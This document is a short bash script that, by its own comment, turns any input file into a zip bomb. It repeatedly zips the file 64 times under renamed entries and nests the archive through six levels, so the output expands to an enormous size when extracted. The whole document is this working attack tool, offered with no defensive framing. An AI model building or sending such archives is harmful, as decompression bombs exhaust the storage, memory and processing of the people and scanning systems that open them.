#!/bin/bash

# This sctipt takes a inputfile and creates a zip bomb with it

COUNTS="64"
PREFIXLIST="page chapter book shelf floor library"

#returns the fileextention of a file
function getExt {
	extension="${1##*.}"
	if [ "$extension" == "$1" ]; then
		printf ""
	else
		printf ".$extension"
	fi
}

function add { # $1 origfile $2 zipfile $3 inzipname
	#add file to archive
	zip -9 -q "$2" "$1"
	#rename
	printf "@ $1\n@=$3\n" | zipnote -w "$2"
}

function pack {  # $1 prefix $2 count $3 outputzipfile $4inputfile
	ext=$(getExt "$4")
	for (( c=0; c<$2; c++ )); do
		add "$4" "$3" "$1$c$ext"
	done
}

input="$1"

for pref in $PREFIXLIST; do
	echo "create a $pref"
	pack "$pref" "$COUNTS" "tmp2.zip" "$input"
	mv "tmp2.zip" "tmp.zip"
	input="tmp.zip"
done